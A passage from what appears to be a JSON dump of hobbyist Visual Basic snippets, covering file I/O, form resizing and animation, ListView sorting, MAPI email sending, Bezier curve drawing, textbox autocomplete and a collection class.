file\nDim txtIn As String\nPrivate Sub Command1_Click()\n ' Set variable to hold the location\n ' of the text file\n txtPath = App.Path & \"\\test.txt\"\n ' error handle file location\n If InStr(thefile, \"\\\\\") Then _\n thefile = App.Path & \"test.txt\"\n ' set variable as the contence of the\n ' text box\n txtOut = Text1.Text\n ' open the text file to be\n ' writen to\n Open txtPath For Output As #1\n ' write the contence of the variable to\n ' the text file\n Print #1, txtOut\n ' close the text file\n Close #1\n ' clear the text box\n Text1.Text = \"\"\nEnd Sub\nPrivate Sub Command2_Click()\n ' Set variable to hold the location\n ' of the text file\n txtPath = App.Path & \"\\test.txt\"\n ' error handle the variable\n If InStr(thefile, \"\\\\\") Then _\n thefile = App.Path & \"test.txt\"\n ' open the text file to be read from\n Open txtPath For Input As #1\n ' set the input variable to the contence\n ' of the text file\n Input #1, txtIn\n ' set the text box text to the variable\n Text1.Text = txtIn\n ' close the file\n Close #1\nEnd Sub\n"},{"WorldId":1,"id":1850,"LineNumber":1,"line":"'http://www.angelfire.com/band/AMP/files/elastic.zip\n' ****************************************************************************\n' * Original Class Programmers Name : Mikhail Shmukler\n' * Web Site : www.geocities.com/ResearchTriangle/6311/\n' * E-Mail : waty.thierry@usa.net\n' * Date : 13/10/98\n' * Time : 10:24\n' * Module Name : class_Elastic\n' * Module Filename : Elastic.cls\n' ****************************************************************************\n' * Comments :\n' * This class can change size and location of controls On your form\n' * 1. Resize form\n' * 2. Change screen resolution\n' * Assumes:1. Add Elastic.cls\n' * 2. Add declaration 'Private El as New class_Elastic'\n' * 3. Insert string like 'El.init Me' (formload event)\n' * 4. Insert string like 'El.FormResize Me' (Resize event)\n' * 5. Press 'F5' and resize form ....\n' ****************************************************************************\n' ****************************************************************************\n' * OCX conversion Programming By : Ronald Gladhill\n' * E-Mail : cybergar@theramp.net\n' * Date : June 27, 1999\n' * OCX FileName : Elastic.ocx\n' * OCA FileName : Elastic.oca\n' ****************************************************************************\n' * COMMENTS:\n' * This OCX will resize and reposition the controls on a form when you\n' * Resize the form or change screen resolutions.\n' * INSTRUCTIONS:\n' * 1. Add the control to your form\n' * 2. Call Init() routine in Form.Load event (example: \"Elastic1.Init\").\n'*****************************************************************************\nOption Explicit\nPrivate WithEvents objParent As Form\nPrivate nFormHeight As Long\nPrivate nFormWidth As Long\nPrivate nNumOfControls As Integer\nPrivate nTop() As Long\nPrivate nLeft() As Long\nPrivate nHeight() As Long\nPrivate nWidth() As Long\nPrivate bFirstTime As Boolean\nPublic Sub Init()\nDim I As Integer\n Set objParent = UserControl.Parent\n \n With objParent\n nFormHeight = .ScaleHeight\n nFormWidth = .ScaleWidth\n \n nNumOfControls = .Controls.Count - 1\n bFirstTime = True\n ReDim nTop(nNumOfControls)\n ReDim nLeft(nNumOfControls)\n ReDim nHeight(nNumOfControls)\n ReDim nWidth(nNumOfControls)\n \n On Error Resume Next\n For I = 0 To nNumOfControls\n Select Case TypeName(.Controls(I))\n Case \"Line\"\n nTop(I) = .Controls(I).Y1\n nLeft(I) = .Controls(I).X1\n nHeight(I) = .Controls(I).Y2\n nWidth(I) = .Controls(I).X2\n Case \"StatusBar\"\n 'do nothing. Leave it alone\n Case Else\n nTop(I) = .Controls(I).Top\n nLeft(I) = .Controls(I).Left\n nHeight(I) = .Controls(I).Height\n nWidth(I) = .Controls(I).Width\n End Select\n Next I\n End With\n \nEnd Sub\nPrivate Sub objParent_Resize()\nOn Error Resume Next ' for comboboxes, timers and other nonsizable controls\nDim I As Integer\nDim nCaptionSize As Integer\nDim dRatioX As Double\nDim dRatioY As Double\nDim nSaveRedraw As Long\n With objParent\n nSaveRedraw = .AutoRedraw\n \n .AutoRedraw = True\n \n If .Height <= 700 Then\n .Height = 700\n End If\n If .Width <= 700 Then\n .Width = 700\n End If\n \n \n dRatioY = 1# * nFormHeight / .ScaleHeight\n dRatioX = 1# * nFormWidth / .ScaleWidth\n \n For I = 0 To nNumOfControls\n Select Case TypeName(.Controls(I))\n Case \"Line\"\n .Controls(I).Y1 = Fix(nTop(I) / dRatioY)\n .Controls(I).X1 = Fix(nLeft(I) / dRatioX)\n .Controls(I).Y2 = Fix(nHeight(I) / dRatioY)\n .Controls(I).X2 = Fix(nWidth(I) / dRatioX)\n Case \"StatusBar\"\n 'Do nothing\n Case Else\n .Controls(I).Top = Fix(nTop(I) / dRatioY)\n .Controls(I).Left = Fix(nLeft(I) / dRatioX)\n .Controls(I).Height = Fix(nHeight(I) / dRatioY)\n .Controls(I).Width = Fix(nWidth(I) / dRatioX)\n End Select\n Next I\n .AutoRedraw = nSaveRedraw\n End With\nEnd Sub\n"},{"WorldId":1,"id":1855,"LineNumber":1,"line":"'****************************************************************\n' ListView1_ColumnClick\n' Called when a column header is clicked on - sorts the data in\n' that column\n'----------------------------------------------------------------\nPrivate Sub ListView1_ColumnClick(ByVal ColumnHeader As _\n MSComctlLib.ColumnHeader)\n On Error Resume Next\n \n ' Record the starting CPU time (milliseconds since boot-up)\n \n Dim lngStart As Long\n lngStart = GetTickCount\n \n ' Commence sorting\n \n With ListView1\n \n ' Display the hourglass cursor whilst sorting\n \n Dim lngCursor As Long\n lngCursor = .MousePointer\n .MousePointer = vbHourglass\n \n ' Prevent the ListView control from updating on screen -\n ' this is to hide the changes being made to the listitems\n ' and also to speed up the sort\n \n LockWindowUpdate .hWnd\n \n ' Check the data type of the column being sorted,\n ' and act accordingly\n \n Dim l As Long\n Dim strFormat As String\n Dim strData() As String\n \n Dim lngIndex As Long\n lngIndex = ColumnHeader.Index - 1\n \n Select Case UCase$(ColumnHeader.Tag)\n Case \"DATE\"\n \n ' Sort by date.\n \n strFormat = \"YYYYMMDDHhNnSs\"\n \n ' Loop through the values in this column. Re-format\n ' the dates so as they can be sorted alphabetically,\n ' having already stored their visible values in the\n ' tag, along with the tag's original value\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n .Tag = .Text & Chr$(0) & .Tag\n If IsDate(.Text) Then\n .Text = Format(CDate(.Text), _\n strFormat)\n Else\n .Text = \"\"\n End If\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n .Tag = .Text & Chr$(0) & .Tag\n If IsDate(.Text) Then\n .Text = Format(CDate(.Text), _\n strFormat)\n Else\n .Text = \"\"\n End If\n End With\n Next l\n End If\n End With\n \n ' Sort the list alphabetically by this column\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n ' Restore the previous values to the 'cells' in this\n ' column of the list from the tags, and also restore\n ' the tags to their original values\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n End If\n End With\n \n Case \"NUMBER\"\n \n ' Sort Numerically\n \n strFormat = String(30, \"0\") & \".\" & String(30, \"0\")\n \n ' Loop through the values in this column. Re-format the values so as they\n ' can be sorted alphabetically, having already stored their visible\n ' values in the tag, along with the tag's original value\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n .Tag = .Text & Chr$(0) & .Tag\n If IsNumeric(.Text) Then\n If CDbl(.Text) >= 0 Then\n .Text = Format(CDbl(.Text), _\n strFormat)\n Else\n .Text = \"&\" & InvNumber( _\n Format(0 - CDbl(.Text), _\n strFormat))\n End If\n Else\n .Text = \"\"\n End If\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n .Tag = .Text & Chr$(0) & .Tag\n If IsNumeric(.Text) Then\n If CDbl(.Text) >= 0 Then\n .Text = Format(CDbl(.Text), _\n strFormat)\n Else\n .Text = \"&\" & InvNumber( _\n Format(0 - CDbl(.Text), _\n strFormat))\n End If\n Else\n .Text = \"\"\n End If\n End With\n Next l\n End If\n End With\n \n ' Sort the list alphabetically by this column\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n ' Restore the previous values to the 'cells' in this\n ' column of the list from the tags, and also restore\n ' the tags to their original values\n \n With .ListItems\n If (lngIndex > 0) Then\n For l = 1 To .Count\n With .Item(l).ListSubItems(lngIndex)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n Else\n For l = 1 To .Count\n With .Item(l)\n strData = Split(.Tag, Chr$(0))\n .Text = strData(0)\n .Tag = strData(1)\n End With\n Next l\n End If\n End With\n \n Case Else ' Assume sort by string\n \n ' Sort alphabetically. This is the only sort provided\n ' by the MS ListView control (at this time), and as\n ' such we don't really need to do much here\n \n .SortOrder = (.SortOrder + 1) Mod 2\n .SortKey = ColumnHeader.Index - 1\n .Sorted = True\n \n End Select\n \n ' Unlock the list window so that the OCX can update it\n \n LockWindowUpdate 0&\n \n ' Restore the previous cursor\n \n .MousePointer = lngCursor\n \n End With\n \n ' Report time elapsed, in milliseconds\n \n Debug.Print \"Time Elapsed = \" & GetTickCount - lngStart & \"ms\"\n \nEnd Sub\n'****************************************************************\n' InvNumber\n' Function used to enable negative numbers to be sorted\n' alphabetically by changing the characters\n'----------------------------------------------------------------\nPrivate Function InvNumber(ByVal Number As String) As String\n Static i As Integer\n For i = 1 To Len(Number)\n Select Case Mid$(Number, i, 1)\n Case \"-\": Mid$(Number, i, 1) = \" \"\n Case \"0\": Mid$(Number, i, 1) = \"9\"\n Case \"1\": Mid$(Number, i, 1) = \"8\"\n Case \"2\": Mid$(Number, i, 1) = \"7\"\n Case \"3\": Mid$(Number, i, 1) = \"6\"\n Case \"4\": Mid$(Number, i, 1) = \"5\"\n Case \"5\": Mid$(Number, i, 1) = \"4\"\n Case \"6\": Mid$(Number, i, 1) = \"3\"\n Case \"7\": Mid$(Number, i, 1) = \"2\"\n Case \"8\": Mid$(Number, i, 1) = \"1\"\n Case \"9\": Mid$(Number, i, 1) = \"0\"\n End Select\n Next\n InvNumber = Number\nEnd Function\n'****************************************************************\n'\n'----------------------------------------------------------------\n"},{"WorldId":1,"id":1858,"LineNumber":1,"line":"Sub getstr()\nsaved = \"123,45,6789,99\" 'save contents of string to a variable\ni = 1 ' Counter variable for array\n 'location identifiers for comma\nres = 1\ndef = 1\n'loop to seperate sub-string numbers from string\nDo While res > 0 ' loop until no comma is found\nres = InStr(def, saved, \",\")\nIf InStr(def + 1, saved, \",\") = 0 Then\ncounted = Len(saved)\nElse\ncounted = InStr(def + 1, saved, \",\") - def\nEnd If\narr(i) = Mid(saved, def, counted)\nlabel1.Caption = Str(res)\ndef = res + 1\ni = i + 1\nLoop\nlabel1.Caption = \"The numbers are \"\nDo While i > 0\nlabel1.Caption = label1.Caption + \" \" + arr(i)\ni = i - 1\nLoop\n' The numbers are stored in Array { arr(i) }\nEnd Sub"},{"WorldId":1,"id":1862,"LineNumber":1,"line":"Private Sub cmdSendSummary_Click()\n' this command button is used to start a MAPI session, log on the the\n' mail service, attach the created check summary text file to a new\n' message, send the message and then close the session\n' declare local variables here\n Dim strUserId As String\n Dim strPassword As String\n Dim strFileName As String\n Dim strFilePath As String\n \n' set the mouse pointer to indicate the app is busy\n Screen.MousePointer = vbHourglass\n \n' set the values for the file name and the file path\n strFileName = \"\" ' this is where you would put any file attachments\n strFilePath = App.Path & \"\\\"\n \n' set the user name and password properties on the session control\n mapiLogOn.UserName = \"JJones\" ' network user name and password !\n mapiLogOn.Password = \"******\"\n \n' start a new email session\n \n mapiLogOn.SignOn\n Do While mapiLogOn.SessionID = 0\n \n DoEvents ' need to wait until the new session is created\n \n Loop\n \n \n'create a new message and address it\n \n MAPIMessages1.SessionID = mapiLogOn.SessionID\n MAPIMessages1.Compose\n MAPIMessages1.RecipDisplayName = \"Jones,John\"\n MAPIMessages1.AddressResolveUI = True\n MAPIMessages1.ResolveName\n MAPIMessages1.RecipAddress = \"smtp:someone@somewhere.com\" \n' note that I prefixed the address with \"smtp\". This is required by exchange \n' server, or it does not know what service to use for outgoing mail.\n MAPIMessages1.MsgSubject = \"Test of the Email function\"\n MAPIMessages1.MsgNoteText = \" This is a test of the email function, if you\" _\n & \"receive this then the program has worked successfully.\" & vbCrLf\n \n' attaching the file\n MAPIMessages1.AttachmentPosition = Len(MAPIMessages1.MsgNoteText) - 1\n' the line above places the attachment at the end of the text.\n MAPIMessages1.AttachmentPathName = strFilePath & strFileName\n \n' now send the message\n MAPIMessages1.Send False\n mapiLogOn.SignOff\n MsgBox \"File sent to specified receiptent.\"\n \n' now set the mouse pointer back to normal\n Screen.MousePointer = vbNormal\n \nEnd Sub"},{"WorldId":1,"id":1863,"LineNumber":1,"line":"First open up notepad and simply write:\nMsgbox \"HI\"\nNow save the text file. In windows explorer\nfind that text file and change the extention \nto vbs. After changing the extention, double\nclick on the icon and see its power\n"},{"WorldId":1,"id":1871,"LineNumber":1,"line":"Dim nc As Integer\nDim Cont(100, 1) As Integer\nDim NewLocPoint As Integer\nConst Smooth = 0.02\nDim Dragging As Boolean\nFunction B(k, n, u)\n 'Bezier blending function\n B = C(n, k) * (u ^ k) * (1 - u) ^ (n - k)\nEnd Function\nFunction C(n, r)\n ' Implements c!/r!*(n-r)!\n C = fact(n) / (fact(r) * fact(n - r))\nEnd Function\nFunction fact(n)\n ' Recursive factorial fucntion\n If n = 1 Or n = 0 Then\n fact = 1\n Else\n fact = n * fact(n - 1)\n End If\nEnd Function\nPrivate Sub AddCont(X, Y)\n Cont(nc, 0) = X: Cont(nc, 1) = Y\n nc = nc + 1\nEnd Sub\nPrivate Sub cmdReset_Click()\n nc = 0\n picDisplay.Cls\nEnd Sub\nPrivate Sub Form_Load()\n Form1.ScaleMode = vbTwips\n Form1.Caption = \"Bezier Curves by Mark Roberts\"\n Form1.Move 900, 900, 5900, 5200\n picDisplay.Move 120, 120, 5535, 4250\n cmdReset.Move 4640, 4435, 1015, 255\n cmdReset.Caption = \"&Reset\"\n With Label1\n .BackColor = &HC0FFFF\n .BorderStyle = vbFixedSingle\n .Move 120, 4440, 4435, 255\n .Alignment = vbCenter\n .Caption = \"Select new points or drag points to move\"\n End With\n picDisplay.ScaleMode = vbPixels\n picDisplay.FontSize = 5\nEnd Sub\nPrivate Sub picDisplay_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n xv = Int(X): yv = Int(Y) 'In case not pixels\n cval = Clicked(xv, yv)\n If cval > -1 And Button = 1 Then ' In case you want multiple points\n Dragging = True\n NewLocPoint = cval\n Label1.Caption = \"Dragging point \" + Trim$(cval + 1)\n Else\n AddCont xv, yv 'Add the control points\n picDisplay.Circle (xv, yv), 2, 255\n picDisplay.Print nc\n If nc = 1 Then\n PSet (xv, yv)\n Else\n picDisplay.DrawStyle = vbDot\n picDisplay.Line (Cont(nc - 2, 0), Cont(nc - 2, 1))-(Cont(nc - 1, 0), Cont(nc - 1, 1)), 0\n picDisplay.DrawStyle = vbSolid\n End If\n If nc > 1 Then Redraw\n End If\nEnd Sub\nPrivate Sub picDisplay_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Clicked(X, Y) > -1 Then\n MousePointer = vbCrosshair\n Else\n MousePointer = vbDefault\n End If\n If Dragging = True Then\n xv = Int(X): yv = Int(Y)\n Cont(NewLocPoint, 0) = xv: Cont(NewLocPoint, 1) = yv\n Redraw\n End If\n \nEnd Sub\nPrivate Sub picDisplay_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n ' End dragging operation\n If Dragging = True Then\n Dragging = False\n Redraw\n Label1.Caption = \"Select new points or drag current ones\"\n End If\nEnd Sub\nPrivate Function Clicked(X, Y)\n ' Has the user clicked within the circle\n ' of a current point\n For i = 0 To nc\n xp = Cont(i, 0): yp = Cont(i, 1)\n If Abs(xp - X) < 3 And Abs(yp - Y) < 3 Then\n Clicked = i\n Exit Function\n End If\n Next i\n Clicked = -1\nEnd Function\nSub Redraw()\n 'Redraws entire display\n picDisplay.Cls\n For i = 1 To nc\n xv = Cont(i - 1, 0): yv = Cont(i - 1, 1)\n picDisplay.Circle (xv, yv), 2, 255\n picDisplay.Print i\n Next i\n picDisplay.DrawStyle = vbDot\n For i = 0 To nc - 2\n picDisplay.Line (Cont(i, 0), Cont(i, 1))-(Cont(i + 1, 0), Cont(i + 1, 1)), 0\n Next i\n picDisplay.DrawStyle = vbSolid\n DrawBezier Smooth\nEnd Sub\nSub DrawBezier(du)\n ' Draws a Bezier curve using the control points given in\n ' Cont(...). Uses delta u steps\n \n \n n = nc - 1 'N = number of control points -1\n If n < 1 Then\n MsgBox \"Need more control points\", vbInformation\n Exit Sub\n End If\n picDisplay.PSet (Cont(0, 0), Cont(0, 1)) 'Plot the first point\n For u = 0 To 1 Step du\n X = 0: Y = 0\n For k = 0 To n ' For each control point\n bv = B(k, n, u) ' Calculate blending function\n X = X + Cont(k, 0) * bv\n Y = Y + Cont(k, 1) * bv\n Next k\n picDisplay.Line -(X, Y), 65535 ' Draw to the point\n Next u\n picDisplay.Line -(Cont(n, 0), Cont(n, 1)), 65535\nEnd Sub\n"},{"WorldId":1,"id":1874,"LineNumber":1,"line":"'If you want to try this code in action:\n' make a new project and add a module\n'double click on the form and add the following code:\nPrivate Sub Form_Load()\n Form1.Height = 6400\n Form1.Width = 10000\nEnd Sub\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n If Button = vbRightButton Then\n coolCloseForm Me, 20\n Else\n Dim a As New Form1\n a.Height = a.Height / 2\n a.Width = a.Width / 2\n a.Show\n End If\nEnd Sub\n'Then add the coolCloseForm code to the module\n'Now run the program, left click a few times to add new forms to screen, and then right click on them to make them go away.\n'END OF EXAMPLE CODE\n'\n'\n'\n'ALL CODE BELOW TO THE BOTTOM IS THE ACTUAL MODULE CODE, ABOVE CODE IS ALL OPTIONAL!!\n'\nPublic Function coolCloseForm(closeForm As Form, speed As Integer)\n 'make sure speed is more than 1\n If speed = 0 Then\n MsgBox \"Speed cannot zero\"\n Exit Function\n End If\n 'closeform is the form to close\n 'speed is anything from 1 to about 100\n On Error Resume Next\n 'set the scalemode to twips so that the do statements will work\n closeForm.ScaleMode = 1\n 'so the code wont crash\n closeForm.WindowState = 0\n 'do until the height is the minimum possible\n Do Until closeForm.Height <= 405\n 'let the computer process\n DoEvents\n 'make the form shorter by the speed * 10\n closeForm.Height = closeForm.Height - speed * 10\n 'make the top of the form lower by the speed * 5\n closeForm.Top = closeForm.Top + speed * 5\n Loop\n 'do until the width is the minimum possible\n Do Until closeForm.Width <= 1680\n 'let the computer process\n DoEvents\n 'make the form less wide by the speed * 10\n closeForm.Width = closeForm.Width - speed * 10\n 'make the left of the form farther to the righ by the speed * 5\n closeForm.Left = closeForm.Left + speed * 5\n Loop\n 'when its all done, unload the form\n Unload closeForm\nEnd Function"},{"WorldId":1,"id":1876,"LineNumber":1,"line":"'If you want to test this code, I have written a complex program that not only demonstrates how the code works, but it also allows you to dynamically change the delimeter of the textList and, when adding to the list a new word, if the word uses a character that is already being used as the delimeter, it finds a new delimeter so that you can still add the item. First add 3 text fields, and three labels to the form. Name the fields txtType,txtDelim,txtList.\n'add this code to the form:\n'THIS IS ALL OPTIONAL\nPublic lastDelimeter As String\nOption Compare Text\nPrivate Sub Form_Load()\n Width = 7860\n Height = 1500\n Label1.Caption = \"List to search from:\"\n Label1.AutoSize = True\n Label1.Left = 45\n Label1.Top = 135\n Label3.Caption = \"Text Delimeter:\"\n Label3.AutoSize = True\n Label3.Left = 315\n Label3.Top = 450\n Label2.Caption = \"Type text here:\"\n Label2.AutoSize = True\n Label2.Left = 315\n Label2.Top = 765\n txtDelim.Left = 1395\n txtType.Left = 1395\n txtList.Left = 1395\n txtDelim.Width = 5505\n txtType.Width = 5505\n txtList.Width = 5505\n txtList.Top = 90\n txtDelim.Top = 405\n txtType.Top = 720\n txtDelim.Height = 285\n txtType.Height = 285\n txtList.Height = 285\n txtDelim.Text = \",\"\n txtList.Text = \"greg,gregory,tom,dick,harry,www.microsoft.com,www.microware.com\"\n lastDelimeter = txtDelim.Text\nEnd Sub\nPrivate Sub Form_Resize()\n txtType.Width = ScaleWidth - 1500\n txtList.Width = ScaleWidth - 1500\n txtDelim.Width = ScaleWidth - 1500\n Height = 1500\nEnd Sub\nPrivate Sub txtType_KeyPress(KeyAscii As Integer)\n Dim a As Integer\n If KeyAscii = vbKeyReturn And txtType.Text <> \"\" And txtList.Text <> \"\" And InStr(txtType.Text, lastDelimeter) = 0 Then\n txtList.Text = txtList.Text & txtDelim.Text & txtType.Text\n ElseIf KeyAscii = vbKeyReturn And txtType.Text <> \"\" And InStr(txtType.Text, lastDelimeter) = 0 Then\n txtList.Text = txtType.Text\n ElseIf KeyAscii = vbKeyReturn And InStr(txtType.Text, lastDelimeter) Then\n For a = 255 To 0 Step -1\n If InStr(txtType.Text & lastDelimeter & txtList.Text, Chr(a)) = 0 Then\n Exit For\n ElseIf a = 1 And InStr(txtType.Text & lastDelimeter & txtList.Text, Chr(a)) Then\n MsgBox \"Error: there are no unique delimeters left, cannot add to datalist.\"\n Exit Sub\n End If\n Next a\n txtDelim.Text = Chr(a)\n Dim List As String, b As Integer: b = 0\n For a = Len(txtList.Text) To 1 Step -1\n If Mid$(txtList.Text, a, Len(lastDelimeter)) = lastDelimeter Then\n List = List & a & \",\"\n b = b + 1\n End If\n Next a\n For a = 1 To b\n txtList.SetFocus\n txtList.SelStart = ExtractArgument(a, List, \",\") - 1\n txtList.SelLength = Len(lastDelimeter)\n txtList.SelText = txtDelim.Text\n txtType.SetFocus\n Next a\n lastDelimeter = txtDelim.Text\n txtList.Text = txtList.Text & lastDelimeter & txtType.Text\n ElseIf txtDelim.Text <> lastDelimeter Then\n txtDelim.Text = lastDelimeter\n MsgBox \"You can only enter delimeter characters that do not exist in the list.\"\n End If\nEnd Sub\nPrivate Sub txtType_KeyUp(KeyCode As Integer, Shift As Integer)\n textComplete txtType, txtList.Text, txtDelim.Text, KeyCode\nEnd Sub\nPrivate Sub txtDelim_KeyPress(KeyAscii As Integer)\n If KeyAscii = vbKeyReturn Then\n If InStr(txtList.Text, txtDelim.Text) = 0 Then\n Dim List As String, a As Integer, b As Integer: b = 0\n For a = Len(txtList.Text) To 1 Step -1\n If Mid$(txtList.Text, a, Len(lastDelimeter)) = lastDelimeter Then\n List = List & a & \",\"\n b = b + 1\n End If\n Next a\n For a = 1 To b\n txtList.SelStart = ExtractArgument(a, List, \",\") - 1\n txtList.SelLength = Len(lastDelimeter)\n txtList.SelText = txtDelim.Text\n Next a\n lastDelimeter = txtDelim.Text\n ElseIf txtDelim.Text <> lastDelimeter Then\n txtDelim.Text = lastDelimeter\n MsgBox \"You can only enter delimeter characters that do not exist in the list.\"\n End If\n End If\nEnd Sub\n'END OF EXAMPLE CODE\n'\n'\n'THIS IS THE ACTUAL CODE FOR THE FUNCTION FROM HERE ON TO THE BOTTOM\n'ALL ABOVE IS OPTIONAL!!\nFunction textComplete(textBox As textBox, searchList As String, delimeter As String, keyHit As Integer)\n '''''''''''''''''''''''''''''''''''''''''''\n 'Place me in the KeyUp script of a textbox'\n 'Usage: textComplete textBox object, the words to search through, the last key hit (use keyCode)\n '''''''''''''''''''''''''''''''''''''''''''\n With textBox\n If keyHit <> vbKeyBack And keyHit > 48 Then\n Dim List As String, a As Integer, searchText As String, numDelim As Integer: numDelim = 0\n For a = 1 To Len(searchList)\n If Mid$(searchList, a, 1) = delimeter Then numDelim = numDelim + 1\n Next a\n For a = 1 To numDelim + 1\n searchText = ExtractArgument(a, searchList, delimeter)\n If InStr(searchText, .Text) And (Left$(.Text, 1) = Left$(searchText, 1)) And .Text <> \"\" Then\n .SelText = \"\"\n .SelLength = 0\n length = Len(.Text)\n .Text = .Text & Right$(searchText, Len(searchText) - Len(.Text))\n .SelStart = length\n .SelLength = Len(.Text)\n Exit Function\n End If\n Next a\n End If\n End With\nEnd Function\nFunction ExtractArgument(ArgNum As Integer, srchstr As String, Delim As String) As String\n On Error GoTo Err_ExtractArgument\n Dim ArgCount As Integer\n Dim LastPos As Integer\n Dim Pos As Integer\n Dim Arg As String\n Arg = \"\"\n LastPos = 1\n If ArgNum = 1 Then Arg = srchstr\n Do While InStr(srchstr, Delim) > 0\n Pos = InStr(LastPos, srchstr, Delim)\n If Pos = 0 Then\n 'No More Args found\n If ArgCount = ArgNum - 1 Then Arg = Mid(srchstr, LastPos)\n Exit Do\n Else\n ArgCount = ArgCount + 1\n If ArgCount = ArgNum Then\n Arg = Mid(srchstr, LastPos, Pos - LastPos)\n Exit Do\n End If\n End If\n LastPos = Pos + 1\n Loop\n ExtractArgument = Arg\n Exit Function\nErr_ExtractArgument:\n MsgBox \"Error \" & Err & \": \" & Error\n Resume Next\nEnd Function"},{"WorldId":1,"id":1877,"LineNumber":1,"line":"Public Function screenWipe(Form As Form, CutSpeed As Integer) As Boolean\n Dim OldWidth As Integer\n Dim OldHeight As Integer\n Form.WindowState = 0\n If CutSpeed <= 0 Then\n MsgBox \"You cannot use 0 as a speed value\"\n Exit Function\n End If\n Do\n OldWidth = Form.Width\n Form.Width = Form.Width - CutSpeed\n DoEvents\n If Form.Width <> OldWidth Then\n Form.Left = Form.Left + CutSpeed / 2\n DoEvents\n End If\n OldHeight = Form.Height\n Form.Height = Form.Height - CutSpeed\n DoEvents\n If Form.Height <> OldHeight Then\n Form.Top = Form.Top + CutSpeed / 2\n DoEvents\n End If\n Loop While Form.Width <> OldWidth Or Form.Height <> OldHeight\n Unload Form\nEnd Function"},{"WorldId":1,"id":1890,"LineNumber":1,"line":"Public Function countLines(textBox As textBox) As Long\n Dim A%, B$\n A% = 1\n B$ = textBox.text\n Do While InStr(B$, Chr$(13))\n A% = A% + 1\n B$ = Mid$(B$, InStr(B$, Chr$(13)) + 1)\n Loop\n countLines = CStr(A%)\nEnd Function"},{"WorldId":1,"id":1899,"LineNumber":1,"line":"'***************************************************************\n' CLASS\n'***************************************************************\n'SEE MY NEW VERSION\n'Create a New Class and name it CollectionPlus (optional)\n'Copy/Paste the following Code\n'Creer une nouvelle Class et nommez-la CollectionPlus\n'Copier/Coller toutes les prochaines lignes\nOption Explicit\nDim theCollection As New Collection\nPrivate m_Delim As String\nConst DefaultDelim As String = \",\"\nPublic Event Erreur(ByVal FunctionName As String, ByVal Number As Long, ByVal Description As String, ByVal DataError As String)\nPrivate Sub Class_Initialize()\n m_Delim = DefaultDelim\nEnd Sub\nPrivate Sub Class_Terminate()\n Set theCollection = Nothing\nEnd Sub\nPublic Sub Add(Item As Variant, Optional ByVal Key As Variant, Optional ByVal Before As Variant, Optional ByVal After As Variant)\n On Error GoTo err_Occur\n theCollection.Add Item, Key, Before, After\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"Add\", Err.Number, Err.Description, \"\")\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveKey(ByVal Key As String)\n On Error GoTo err_Occur\n theCollection.Remove Key\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"RemoveKey\", Err.Number, Err.Description, Key)\n Resume err_Continu\nEnd Sub\nPublic Sub Remove(ByVal IndexOrKey As Variant)\n On Error GoTo err_Occur\n theCollection.Remove IndexOrKey\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n RaiseEvent Erreur(\"Remove\", Err.Number, Err.Description, IndexOrKey)\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveIndex(ByVal Index As Long)\n On Error GoTo err_Occur\n If Index <= theCollection.Count Then\n theCollection.Remove Index\n Else\n RaiseEvent Erreur(\"RemoveIndex\", 9, \"Subscript out of range, Max=\" + CStr(theCollection.Count), Index)\n End If\n On Error GoTo 0\nerr_Continu:\n Exit Sub\nerr_Occur:\n MsgBox Err.Number\n RaiseEvent Erreur(\"RemoveIndex\", Err.Number, Err.Description, Index)\n Resume err_Continu\nEnd Sub\nPublic Sub RemoveAll()\n If theCollection.Count = 0 Then Exit Sub\n Dim element As Variant\n For Each element In theCollection\n theCollection.Remove 1\n Next element\nEnd Sub\nPublic Property Get Count() As Long\n On Error GoTo err_Occur\n Count = theCollection.Count\n On Error GoTo 0\nerr_Continu:\n Exit Function\nerr_Occur:\n RaiseEvent Erreur(\"Count\", Err.Number, Err.Description, \"\")\n Resume err_Continu\nEnd Property\nPublic Function Item(ByVal IndexOrKey As Variant) As Variant\n On Error GoTo err_Occur\n Item = theCollection.Item(IndexOrKey)\n On Error GoTo 0\nerr_Continu:\n Exit Function\nerr_Occur:\n RaiseEvent Erreur(\"Item\", Err.Number, Err.Description, IndexOrKey)\n Resume err_Continu\nEnd Function\nPublic Function IfItemIsThere(ByVal Index As Long) As Boolean\n Dim temp As Variant\n On Error GoTo err_Occur\n temp = theCollection.Item(Index)\n On Error GoTo 0\n IfItemIsThere = True\nerr_Continu:\n Exit Function\nerr_Occur:\n IfItemIsThere = False\n Resume err_Continu\nEnd Function\nPublic Function IfKeyIsThere(ByVal Key As String) As Boolean\n Dim temp As Variant\n On Error GoTo err_Occur\n temp = theCollection.Item(Key)\n On Error GoTo 0\n IfKeyIsThere = True\nerr_Continu:\n Exit Function\nerr_Occur:\n IfKeyIsThere = False\n Resume err_Continu\nEnd Function\nPublic Property Get DelimStringDataError() As String\n DelimStringDataError = m_Delim\nEnd Property\nPublic Property Let DelimStringDataError(ByVal NewDelim As String)\n m_Delim = NewDelim\nEnd Property\n'***************************************************************\n' FORM\n'***************************************************************\n'Copy/Paste this lines in a Form 